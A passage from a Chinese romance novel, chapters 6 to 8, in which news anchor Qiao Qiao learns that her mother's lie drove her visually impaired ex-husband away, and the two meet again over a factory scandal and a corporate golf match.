覃乔却是后悔自己话多了,她吃一口包子,看到袋子里还有一个,咽下嘴里的包子后问:“早饭吃了吗?”
“吃过了,你吃的是什么?”陈嘉树瞥了她一眼,闻出青菜味,猜:“菜包子?”
“嗯……”她将拎绳往手心捻,剩下那个包子不准备吃了。
他不客气地说:“那你给我吧。”
覃乔:“???”
东亭厂区西门即在眼前,陈嘉树告诉她的,这里能避开记者、家属、看热闹的人,果然一路很清净。
“乔乔”
陈嘉树出声,像是单纯叫她,又像是有话说,覃乔脚步慢下来。
“两个孩子也带回国了吗?”
覃乔猛然止步,陈嘉树跟着脚步一顿,随后转身,倾之启唇:“我四年前就知道了。”
6. 第 6 章
“四年前我到江市,阿姨告诉我的。”
陈嘉树问得平静,回答也是平静,显然并不知道昭野、晞晞是他的孩子。
覃乔将这个问题带回到家里,吃过晚饭,她把母亲请到房间,两人坐在小客厅的沙发上聊起曾经。
原来,四年前陈嘉树来江市是为了想和她复婚,但他先见到了杨淑华,离婚两年,陈嘉树突然造访,杨淑华只觉得可笑又可恨,曾经嘉树长嘉树短,那时候有多喜欢这个女婿现在就有多么厌恶。
杨淑华将她在英国已经结婚的消息告诉了陈嘉树,怕他不信还将他们的结婚证丢给他看。当时也是气极了,杨淑华编了个她和现在的丈夫已生下一儿一女的谎话,就是为了让他不要去打扰他们的生活。
所以,那天覃乔从外面回来,才会撞见失魂落魄出来的陈嘉树。
对于他来了又什么都不说的态度,覃乔勃然大怒,在单元楼下和他吵了几句,与其说是吵不如说全是她在控诉,再他一句句对不起中,覃乔所有的怨气、怒火都像打在绵软的棉花堆里,憋屈、无力到了极致,是以,她说了更决绝的话,请他再也不要出现在自己的面前。
他目光涣散,还是那副七魂丢了三魄的样子,踉踉跄跄地离开了她家。
覃乔不是没感觉到陈嘉树的古怪,但当时愤怒占据她所有理智,根本没有去思考陈嘉树为什么会这样?
说实话她到现在仍觉得荒诞,陈嘉树那么聪明的一个人,怎么会在听了杨淑华几句话后就完全信了她在国外有一儿一女的事?
又或是说在他心目中她就是杨淑华口中的女人,两年时间,先是结婚后生子……他甚至直至今天都没向她确认过一句。
便是这么认定了。
杨淑华走离开房间后,覃乔拿起手机给楚语桐打去电话,楚语桐听完她二十分钟的讲述,在电话那头陪她一起沉默了很久。
“所以你们分开这么久,全是因为杨阿姨?”楚语桐有种说不出的感觉:“说真的,老陈脑子是被驴踢了吗?杨阿姨说你再婚他信了,说你为现任丈夫生了两孩子他也信了,连问都不问你一句就这么认定了!调查、走访,最后得出结论这不是最基本的吗?他是一点儿都不做……”
楚语桐有无数的疑问,覃乔微微后仰,靠着床,长长的叹了声气:“……他从来就没完全信任过我。”
“可是……我还是觉得哪里不大对劲,他真这么蠢——”楚语桐说到“蠢”字烫了下嘴,她又问:“老陈这智商三言两语就被诓,是怎么把企业做到这么大的?我这个无神论者都要怀疑他当时是不是被鬼上身了?”
“这件事从头到尾,最离谱的不是杨阿姨骗他,而是陈嘉树居然信了?连找你当面问一句都没有?你们好歹夫妻一场,他就算再信杨阿姨,也该亲口听你说‘我不爱你了’才死心吧?他就这么容易放弃?”
“还有……他当初既然信了,那现在又回头来找你做什么?这逻辑真的很难自洽,后悔?还是.....报复?”
楚语桐一个擅长分析的理科生都一个头两个大,“要么去问问他到底想做什么?”
楚语桐连珠炮似的提出疑问,头头是道。
可覃乔听着只觉越来越刺耳,胸口更像有块大石压着,压得她喘不过气。
她打断道:“桐桐,不要说了。我妈妈骗他事实,但在他的心里,我是什么,多年的感情又算什么……”
窗子未关紧,纱帘被风吹起,覃乔揉掉眼尾那片潮湿气,弯起眼睛,眼前光影迷离:“……他永远都在为别人着想,多伟大,就像当初离婚他为了我好,再后来信了我妈妈说得话。”
“乔儿……”
“我现在都能想象出他是怎么想的。乔乔结婚了……很好……有孩子了,我该祝福她,离她远远的……”她模仿着陈嘉树的语气,还把自己给整笑了,只是胸腔里灌满了冷气,立时收住笑,她陡然高声:“他!从不问我一句我的想法,问一声我愿不愿意?出发点永远是为我好,为我做决定,最可怕的是我完全理解他在想什么,连恨他都找不到理由。”
陈嘉树就是个混蛋!
楚语桐默默听着,良久,她试探地问:“要不....开诚布公谈一次?”
覃乔摇头轻笑一声,泪水漫溢出眼眶,顺着脸颊,一颗接一颗洇湿衣衫。
因为这些年反复在心里骂过他无数次,覃乔的情绪很快回落,神情转为冷淡,语气一样淡薄:“至于为什么又来找我……无非就是又发现了什么“为我好”的理由。”
“你是说他知道Leo过世了?”楚语桐失语了片刻,忿忿道,“看你们孤儿寡母可怜?这人真的是——我都想揍他!”
覃乔做了个深呼吸:“桐桐这事就当没发生过,你我都不要再提了,知道吗?”
楚语桐怎么会听不出覃乔的另层意思——不要插手这事更不要去找陈嘉树。
算了,这事老陈自己作的,活该孤家寡人。
楚语桐:“知道了。”
*
覃乔追踪报道乔树集团两天,又临时接到上级通知,西部突发地震需要她回来统筹。。
后续的报道转交给了台里派来的钱记者。
再次回到澜川市已经是一周后。
而这一周内,乔树集团发生重大人事地震。
据集团官网及官方微博发布的公告显示,东亭厂区管理层经历全面洗牌,东亭厂区整套领导班子全部换血。
原来那对父子的自杀并非单纯的薪资纠纷。
调查发现,他们在工厂长期遭受系统性霸凌,以各种原因被克扣工资,被孤立,带头霸凌者正是车间邱主管。
一个小小的主管怎么能有如此大的能量令人匪夷所思?
随着调查深入,真相像剥洋葱般一层层揭开,从车间到管理层,从厂长到财务,一连串竟然牵扯出近二十人,拖欠工资并非空穴来风,而是另一种威胁站队,小小的厂区俨然成了权力斗争的“小朝廷”。
夕阳西下,余晖穿透玻璃窗,在陈嘉树身上这件白衬衫上留下淡橘色光影。
三十六层,足以俯瞰小半座城市。
“我看您是高处呆久了,忘却了民间疾苦。”
覃乔放下粥碗,抽取两张纸巾,放入他的手心:“我建议您去看看评论,距离我的报道播出不到三小时,微博评论数近三千+,很多网友给你们提意见,让你们去查查员工考勤、周围人际关系,不要只听信一方之言。”
陈嘉树擦了嘴巴,纸巾揉成团,放在床头柜上,靠回去,愿闻其详。
覃乔将凳子拉近点说给他听:“你的员工宁可通过媒体发声也不敢内部反馈,这说明什么?”一顿,她接下去说:“是因为他们根本不相信投诉会被公正处理。”
“你知道吗?那两位员工之所以敢站出来,是因为他们前一天刚离职。”
陈嘉树耐心等她说完:“你还是认定你的报道客观公正……”略作沉吟:“那我问你,你如何确定他们不是被对家收买的?混肴视听?”
“我们自有方法,”
覃乔拿起桌上那团纸巾扔入垃圾桶,接住他沉沉的目光:“陈董若是信我便按着这条线索去查,其实工人要求的不多,薪资公平、受到善意的对待,得到应有的人权。”
陈嘉树将她这段话在心里细细地‘咀嚼’一遍,方才颔首:“网上的评论我还没时间看,乔乔,谢谢。”
男人薄唇唇角牵起弧度,光晕中透着淡淡的暖意。
这次事件,若不是覃乔给他提了个醒,他还在相信那帮人费尽心机提供上来的假数据,竟然把审计都给骗了过去。
那天出院前,陈嘉树做了两件事,一:不通知任何人搬走两间
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财务室八台电脑主机,二:让随行来的高总,将厂长、副总、总办财务请到市里的高档酒店,好吃好喝招待了一天一夜。
让网友监督、参与,完全透明度处理这件事,确实赢得了公众认可。但股价的连日下跌,董事们怨声载道。
茶几上躺着的手机,由于调了静音,给了片刻安静。
*
覃乔主职是新闻部副主任同时兼财经新闻主播。很多年前这个位置上坐的人是她事业上的导师——顾栩。
他现在——
玻璃门被敲响,门外站着一道黑色人影,个子很高。
“请进。”覃乔看向门口。
推门而入的没想到正是她在想的。
覃乔立即起身走出去相迎:“顾老师。”尾音微微上扬透着些许激动。
两年没见,这个儒雅端方的男人,依然如故,想想,他如今已经四十六岁,岁月却只在他眼尾留下浅浅印痕。
但,别被顾老师温润的长相给欺骗,骂起人来不带脏字都能把人骂哭,当年她可没少挨过他的骂。
“覃主任,还是没改掉动不动就傻笑的毛病?”
顾栩笑着扫她一眼,熟门熟路地往会客区走去,覃乔没立即过去而是到门口推开玻璃门,请工位上的助理,帮忙泡两杯大红袍。
“您叫我覃乔,别叫什么主任,”覃乔坐对面那张沙发,“对了您是休年假?”
那是很多年前她还没去国外工作的时候,顾栩就已经被调任去了京市的国台,做了两年主播,后来转到幕后,现在担任总制片主任。位置升的越高,责任越大,基本上没有个人时间。
但在覃乔到国外工作的第四年,顾栩因公出差,两人在英国有过小聚,吃饭、聊聊曾经一些趣事、顾栩还是会把她当曾经的实习生一样给她提一些建议,他的说话风格就是言辞犀利,但给出的建议总能发人深省。
“半个月,给自己放个假。”顾栩说。薄唇浅浅一勾又问:“你这次回来什么打算?”修长的指骨轻轻敲着皮面,像是无意识的动作。
玻璃门打开,助理端着托盘上的两杯热茶朝他们走来,站定在茶几前,弯下腰,拿起热茶,一杯放在顾栩面前,一杯放在覃乔手边。
等助理出去之后,覃乔回答说:“目前暂定在国内。”
两人就职业规划展开聊,顾栩不时风趣地点评几句,覃乔适时接住他的话头,聊得愉快,不知不觉地外面天色都暗了。
顾栩端起茶杯,小小地抿了一口茶汤,放下茶杯:“有想过来京市发展吗?台里刚好有个位置适合你。”
覃乔摇头淡笑:“国台始终是媒体人的灯塔,但这些年走遍世界才明白理想的重量未必只能用海拔丈量……更何况我这把年纪,怕是爬不动国台大楼的台阶了,不如把机会留给更生猛的年轻人。”
这把年纪……顾栩忍俊不禁,失笑道:“三十六岁就敢说爬不动台阶,四十六层台阶我都天天爬。”他连连点头:“行,尊重你的决定。”
覃乔转头看向窗户那边,她的办公室在十二层,坐在这儿,看不到大街上汽车雨刮器刮不开的雨幕;看不到举着伞,伞又被吹得翻掉的路人;看不到被风吹得左摇右晃的景观树,只能看见斜打在窗户上像子弹似得雨滴以及弥漫的雨雾,窗户隔音效果还好,完全听不见任何外头的声音,待在一个地方久了,已经忘了真实的世界该是什么样。
看她在走神,顾栩假意咳嗽两声:“我先走了,今天来见了省台的几个老朋友,聊得都挺开心。”说着他已经起身。
覃乔跟着起身,担心:“外面雨下得这么大,您再坐会儿吧。”
“我坐老陆的车回去。”顾栩捞起沙发上的外套。
顾栩口中的老陆正是台长,台长平时都是司机接送,覃乔心下略宽泛些,送他到门口:
“慢走。”
7. 第 7 章
这个周日,难得空闲,覃乔带孩子们去家附近的游乐场玩。
兰姐和杨淑华陪着着他们去坐旋转木马,覃乔则坐在太阳伞下,头颈低垂,回复工作群的消息。
五月底,气温已接近三十度,她的额角沁出潮热的薄汗,觉得热,她放下手机,褪下手腕上的发圈,一手拢起散落的长发,另一手灵巧地绕了两圈,扎成一个松散的马尾垂在背上。
脖颈瞬间觉得清凉。
“妈妈!”
晞晞跑来牵着她的手指,非要拉她一块玩。
孩子开心就好,覃乔陪晞晞坐上小飞机,上面有水枪,水柱喷洒进中间的喷泉池,周围小孩们欢呼声此起彼伏,她到底是年纪大了,一圈下来,头晕目眩,脚步虚浮,暂时先扶着围栏歇口气。
接着几个项目,覃乔打死也不玩了,任凭三个小孩怎么磨,她还是更适合坐在太阳伞下,刷刷手机,这种老年人项目。
说起来,自打回到国内,健身器材一次都没碰过,前段时间经过万华商场楼下,上面大屏打着某某健身房的广告,当时她还想着明天去办张卡,结果一忙又给忘记了,这都过去快两个月了。
她盯着手机,机械地滑动屏幕,今晚吃什么菜、明天去办健身卡.....乱七八糟地想了一堆,好像这样时间就能走得快一点。
“干爹。”
一个瘦小的穿着蓝色短袖衬衫和深蓝色短裤的男童从她眼皮子底下走过去:“我想玩前面的飞机!”
燥热的风挟来一缕似有若无男士香水味,很熟悉的气味。也是这时,一道白色的光映入眼帘。
覃乔瞳眸微微聚,分辨出这是一根盲杖,眸光上移,往上,再往上,陈嘉树那张带着笑容的脸便从她眼角掠过去。
她没有很惊讶像是意料之中,只是阳光照在他脸上让她感到有些刺眼睛。
陈嘉树被男孩拽着往前走,在他右侧还有个瘦高的女人,她五官标致,气质清纯,确如楚语桐说是个很年轻的女人。
手机一不留神从手里滑落,掉在圆桌上面,覃乔淡淡然地拿起手机,像是忽然间想到什么,许久,许久,勾起一个略带嘲讽意味的笑。
之后很长一段时间,覃乔的生活回到了往日的乏善可陈,上班、下班、周末去健身房。
又到了周日,覃乔开车于约定时间赶到[观澜湖高尔夫球场]。
她进更衣室换了套高尔夫球衣,再到VIP装备区取出寄存在这里的套杆,随后坐着高尔夫车绕着翠绿的高尔夫球场外围,行驶越一刻钟,停在观赛亭后门。
两位台长、编辑部总编老晟、副编邱婷,比她还早到一步,五人穿过小门同坐一部车到发球台。
天空湛蓝开阔,干净的没有一丝杂质,底下望不见尽的绿色与遥远处那片连绵起伏青山相连,无人机在半空盘旋。
黄台轻松挥杆,小白球在绿地上画出白弧,进洞,一个非常漂亮的开门球。
他们玩的是娱乐局,一人打一洞,很快轮到覃乔,她抬了抬帽檐,眯眼测距,球童递来三号杆,腰身一转,挥杆,白球滚出约五米停在洞口。
两位台长在后面笑声爽朗,覃乔温婉的笑意中带着几分无奈,走过去,补了一杆,球才进洞。
“哈哈哈——”
这片球南面的五号观赛席上爆出中气十足的大笑,震得停在钢制屋顶上的一群白鸟振翅而逃。
年近七旬的仲董一手叉腰,一手拿着平板电脑,上面是无人机传过来的团队比赛画面。
“万董,你们队伍今早没吃饭?”仲董再次夸张的大笑,万董笑着摇头,放下平板电脑,拿起桌上的望远镜走到最高处,举起到眼前,寻找他们那只队伍。
取笑完万董,仲董转头看向低头看平板的陈嘉树:“陈董,怎么,今天带的是文职班子来打球?三杆的差距,再输下去,放在我们当年,可是要当场罚酒的。”
陈嘉树抬头迎上他的视线,气定神闲道:“仲老说的对,但高尔夫是十八洞的运动,不是三洞定胜负的赌局。”
与陈嘉树隔了一个座位的秦振东笑笑道:“老仲,你别急着收彩头,陈董的队伍最擅长的就是逆势翻盘,上回华南招标,他们不也是最后半小时逆转的?”
这里坐着的四位董事长,个个都比陈嘉树年长,且都是实业界翘楚。想当年这小子四处推销时,他们都未正眼瞧过,谁能想到,短短几年间,陈嘉树不仅和他们平起平坐,还成了忘年之交。
商场如战场,说到底都是利益交换的游戏。但不得不承认,陈嘉树确实有过人之处,是个有实力的后辈,可惜这双眼睛不好,能不能撑
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过过三年董事会的连任表决都是未知数。
话又说回来,在这个位置上,能不能坐得稳,终究还是看能给股东带来多少真金白银。M国奥斯集团的Masu出事后,不还是在位这么多年?
秦振东看着这个和自己儿子一般大的小子,欣赏的同时也生出几分敬畏。
陈嘉树放下平板电脑,捏了捏鼻梁,旁边的田佳悦靠近他左耳说道:“我听说仲董的团队队伍里有专业球员,作弊呢。”
陈嘉树点了点头,说:“我先去趟卫生间。”
他拿了身侧的盲杖,打开,“嗒”点在地上。四位董事的目光立刻聚焦过来。
眼睛不好,身体感知能力变得敏锐多了,一上午他们看了他几次,每次注视,每一道目光的停留,他都记得清清楚楚。
陈嘉树欠了欠身:“失陪片刻,回来正好赶上十八号洞魔鬼球局。”
张特助将陈嘉树带到休息大厅,陈嘉树坐到沙发上,掏出外套口袋里的手机,滑屏找到朱奥的手机号,拨出去。
“你上次不是说我们公司业务部的小蒋是高尔夫二级运动员吗?现在让他过来。”
远在海外的朱奥在那头玩笑道,“一个小项目而已,淡定,淡定。”
“这个标我们必须拿下。”陈嘉树端修的指骨屈起叩了下沙发扶手,“马上联系。”
那头电话挂断,陈嘉树静静地等待,半分钟不到,朱奥的电话回过来:“小蒋被派去武市出差了。”
武市,一千多公里,这么不凑巧,陈嘉树又问:“乔树就再没其它合适的人选了?”
“几位总经理你都带走了,”朱奥也苦恼了,“你等等我,我找找外援。”
陈嘉树感觉到身侧站了个人,他的左眼是失明的,却好像看到一道淡蓝色的身影以及似有若无的冷香徐徐飘来。
茉莉香混着其它叫不出名字的花香,偏温柔中性的味道,这种香他只在覃乔身上闻到过。
他立即转头——
女人身上这件浅蓝色高尔夫球衣勾勒出她纤薄曼妙的身材曲线。帽檐下若隐若现的精致朱唇,修长如天鹅般的颈项,这些特征组合在一起,即使在他模糊的视野中也足够鲜明。
“乔乔。”
他几乎是弹起身,仿佛身体先于思维认出了她。
8.第 8 章
陈嘉树当年只用了一个月就学会了高尔夫。
“以前那些应酬不是在夜总会里吞云吐雾,就是在酒桌上拼得你死我活。现在也要学学有钱人那一套。 ”
说话间,陈嘉树身姿轻盈地扭身挥出球杆,杆头打中小白球,白球在地上划出一道漂亮的弧线,精准的落在果岭中央,随即滚入球洞。
张爽在旁鼓掌,“老子这一双眼睛还没你一只眼睛看得准。”他故意眯起左眼丈量距离,“不行,不行,眼花了。”
每次也只有张爽随意拿他的缺陷调侃,两人感情好到像那句老话,能同穿一条裤子。
陈嘉树挑眉笑了笑,走至她的身后,从后抱住她,抓着球杆的手被他轻轻裹住,下颌抵在她的肩窝处,他低磁的嗓音擦过她耳畔:“背部挺直,重心放在前脚掌,上杆时肩部旋转90度,髋部限制在45度.....”
“我紧张——”覃乔脸颊微热,手抖,“你说得太专业了,我听不懂。”
张爽在旁边嘿笑,“陈总,因材施教懂不懂?你照搬教练那一套理论,乔乔听不懂。”
“想象你握住的是一只小鸟,太紧会扼杀它的飞行,太松又会失去控制......”陈嘉树换了套说辞,“现在可以理解吗?”
眼神一定,挥杆,在陈嘉树的辅助下,她打出一个极完美的小鸟球。
她的第一杆高尔夫是陈嘉树教授她的,勾起了她对高尔夫的兴趣,后来在英国高尔夫成了日常。
覃乔的球技越来越精进,二年前还因这项爱好成功的采访到两位国际商业巨头。
算是答谢他吧。
覃乔毛遂自荐作为替补上场,换下一位文质彬彬的经理。
日头西斜,碧绿的草坪上跳动着橙黄色小光点。
高尔夫越打越远的特性,前面的场地已看不到人影,陈嘉树拿来田佳悦手上的平板电脑,他低下脖颈,眼睛几乎贴到屏幕,勉强看到那抹蓝影在十多个人中穿梭走动。
“陈董,你这外援请的专业。”
眼瞅着自己的队伍快输了,仲董唉声叹气走地放下平板电脑:“申董,被你说对了,这小子又逆风翻盘了,欸,这小姑娘我咋瞅着有点眼熟?”
攥在平板电脑的手指骤然收紧,陈嘉树意识到大意了,覃乔是省台有一定公众影响力的主播,出现这里本身是比较敏感的。
该来的总会来,比赛结束,仲董眯着眼睛瞧着从车上下来的这位女高手,在她走进小门时候,发出恍然大悟的唏嘘。
陈嘉树派田佳悦去拦覃乔还是迟了一步。
“她不是《经济前沿》的女主播吗?”仲董喉咙响,在场几人都有听见,自然也包括刚踏进门的覃乔。
覃乔早已预料到到会有这种情况,不慌不忙地拾级而上,站定在仲董面前,只比他低了一级台阶。
她落落大方地伸出手:
“久仰仲董大名,尤其是金科空调,去年欧洲市场占有率逆势增长12%,我们财经组还专门做过一期‘中国制造走向世界’的专题。”
闻言仲董笑几声,微微俯身与她握了握手:“过誉了,不过是欧洲那边老客户给面子。”他一顿,“这场球.....”
覃乔笑靥明亮从容:“这场球,主要是来还陈董人情,七八年前我连握杆都不会,是陈董教的,他说高尔夫和做新闻一样‘先学会收杆,才能打出力道’。”
田佳悦回到陈嘉树身侧,看到他挑高的眼梢毫不掩饰的噙满笑意还夹了几许骄傲,可又像忽然意识到什么,旋即收住笑意。
“陈董球技很好?”仲董诧异。
秦振东上前笑呵呵地插话:“早几年打过几场,专业级。”
陈嘉树的目光一错不错地落在她脸上,覃乔收起余光,继续真诚吹捧:“仲董,我可是听说您年轻时是省队预备役?改天能不能也指点我一二?”
仲董乐了,他旁边的申董也加入夸夸队伍:“覃主播,你可是请教对人了,仲董球技一流,当年差点进国家队。”
几人齐声哈哈大笑。
唯独陈嘉树轻轻抿唇,指腹在杖身打圈摩挲,隔了半晌,才如释重负般慢慢地化开一个淡笑。
在这种情况下,他说任何一句话都会引起误解和猜疑,覃乔机智的破解了局面。
她……
一向是破局高手。
*
覃乔换回来时的衣服一瘸一拐地走出更衣室。
没想到看见了陈嘉树。
他站在一米开外,手握盲杖,嘴角挑着温煦的笑意。刚才没留意,他一改往日板正的白衬衫黑西装搭配,今天穿了件黑色长袖Polo,胸口的品牌五色LOGO很别致,偏休闲的风格让他的眉目看上去比平时柔和几分。
他不是跟那些老董一块走了吗?
覃乔现在退也不是,进也不是,算了,硬着头皮朝前走。
却在擦肩而过时,陈嘉树一把攥住她的手臂,慢慢滑到她的腕骨处。
她穿着短袖,男人泛着热意的掌心如同火炉熨着她。
他垂眸问:“脚怎么了?”
覃乔已经尽力不让他看出来,他什么时候发现的?就在这时,她眼角余光掠到斜对面站着的一道白色修长身影——正是田佳悦。
像是察觉到被她发现,田佳悦倏然转身,快步朝另一头去了。
覃乔心底了然,语气随意:“球赛结束回来的路上扭了一下,不严重。”
陈嘉树松开手走到她面前,并将盲杖收成短短一截,挂在自己手腕上,覃乔觉得莫名的同时又觉得他接下来有大动作。
“还记得那年我还在开店,你在我店里脚趾踢在柜脚上劈裂了,也是疼得走不了路,那天你让我背你,我觉得匪夷所思,明知道我晚上看不清,把你摔一跤可怎么办?事实上我心里真的很想背你,生怕你反悔。”
话音刚落,他转过身在她面前半蹲下,左腿膝盖支着地面,宽阔的肩拉成笔直的线,背脊几根骨头因他的这个姿势而凸起。
他语调轻快道:“上来吧,我应该还能背你。”
大厅里穿行而过的都是这边的服务员,这里是高级会所,这些人都经过严格培训,会有人看他们但目光都是很快划过去。
覃乔收回视线,还是不想上去。
“你起来。”她用命令地口气,只是话音还是有点软,没底气的感觉,“这么多人看着,我不想明天因为你上热搜。”
尽管她不是明星,但不怕一万就怕万一。
陈嘉树没听她的,背脊弓着静静等待她:“你多虑了,明天如果上热搜,一定是身残志坚的乔树集团董事长陈嘉树助人为乐。”
覃乔往前走一步,想到那天游乐园温馨的一家三口,又退回去,温柔的目光轻落在他的后脖颈,很轻地做作地叹声气,“算了,我怕摔。”
她这句话仿佛是一盆冰水浇在男人身上,他整个身体肉眼可见的僵硬住。
末了,覃乔淡然地补充一句:“陈董的背还是留给信任你的人吧。”
丢下这一句,她也管他怎么想,不做停留的一瘸一拐地离开这里。
直到覃乔的脚步声彻底消失,陈嘉树才缓缓张开弯曲的脊背,可无法抑制肌肉群的颤抖。
“算了,我怕摔。”
“怕”这个字音和那声不再信任的叹息,宛如一把无形的钝刃,直直从陈嘉树身上捅过去,留下荆棘般的裂口,里面血肉模糊,破败不堪。
那时候,他曾经很多次问她,“怕吗?”怕他的身体,怕他的家庭,怕他将来会成为他的拖累吗?
她无数次坚定不移的告诉他,“不怕”。
这两个字不但是他的安慰剂,还是他长达十多年的精神补给。
而今。
她也怕了。
陈嘉树站直身,环视四周,黑睫掩映下的双眼空洞的如同黑洞。
室内十多度,寒意却从头到
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脚,他放下盲杖朝着那最光亮的地方走去。
他知道那儿是门。
*
今早,晚间十点档栏目《企业家》的十二位组员陆陆续续来到她的办公室,摄影师老刘最后一个进来,站在她的办公桌前。
“老刘.....”覃乔知道他要说什么委婉地道,“台里今年营收压力大,台长点名要砍掉拖后腿的节目。”
该档节目创办一年,覃乔翻过此策划案,核心理念其实很扎实[记录中国商业变革中的真实面孔]无论是选题框架,还是拍摄手法、人物筛选,全都精准踩在专业媒体的标准线上。
第一期播出收视率达更是达到21%,远高于多台同类型纪录片。
然而,尝到了第一期的甜头,第二期还没开拍,招商部的电话就被打爆。
企业排着队送钱,不是要冠名,而是要“出镜权”。好好的节目最终沦为企业加长版宣传片。
西装革履的企业家大谈“成功学”,某制造业老板优雅的端着咖啡,侃侃而谈的不是生产产值、工人技能培训,而是咖啡豆的烘焙工艺、萃取技术。
网友们纷纷评论:
“不如直接看企业宣传片,至少广告更短。”
“他们演的可真辛苦,我都要哭了。”
......
昨天下午开会,广告部徐主任指着屏幕上的曲线图:“收视率连续五个月低于0.3%,冠名商上个月就撤了。”
会议结束覃乔和冯主任在会议室聊了聊。
该档节目的十二位组员除了主播都是合同工,节目一撤,台里连转岗的名额都不会给。
老刘出去后,覃乔拿起桌上摁了红手印的A4纸,这帮人上有老下有小,也是苦无办法了,才挨个找人求救。
覃乔思索再三拿起手机,还是决定给顾栩打电话。
顾栩耐心听她讲完,才问:“你想“救”他们?说说你打算怎么救?”
覃乔走到窗前,高楼大厦玻璃幕墙反射着刺眼的阳光,她垂首,视线落在车水马龙的街道上。
十二层高,她仍能一眼看到那座翻新过的公交站台,那儿站了一群人,瞭望、心焦的等待公交车的到来,曾经她也是其中之一。
她做出决定:“就按最初的策划重做一期试水,不搞招商植入,不剪漂亮空镜,老老实实拍企业家最真实的24小时。”
“想法很好,但是普通企业家已经激不起观众兴趣。而老观众呢被假大空伤透了心,新观众谁要看西装革履的老总们演戏?”
顾栩总能一针见血地指出问题。
覃乔捻搓着道,“最近有两家新兴科技企业备受关注,新型科技是这两年的风口,我想能吸引年轻一代的观众。”
电话那头“叮”的一声,像是杯底轻嗑在桌上:“覃乔,观众要的不是技术本身,而是技术背后的人性博弈,这些光鲜的极客形象,观众早已经审美疲劳。”
“滋滋”细微声响通过电话线传过来,顾栩像是拿着咖啡瓷勺,不急不缓地在咖啡液中转动。
“况且和你有同样想法的编导还不少,我手边这种采访片不下十部,这可不是你的水准.....”
覃乔一时语塞。
“最近自带爆点的企业家,我想你比我更清楚。或者你继续再找找新兴科技总裁,前段时间有一款还不错,播出应该能吸引一大帮迷妹,你要的话我把他联系方式发给你。”
顾栩轻笑出声,不跟她打趣了,正儿八经地讲:“人工智能是未来,但流水线才是当下,前阵子那个“拖欠工资”搜索量是“机器学习”的三十倍,观众最想看的是什么?”
观众想看的是什么?
覃乔偏不信这个邪,她一下午在电脑前查找近期有热度有爆点的企业家。
规模不能小,有一定声望,企业形象、风评良好,覃乔在纸上写写画画,最后剩下的……她将纸张叠起来放入抽屉里,明天再说。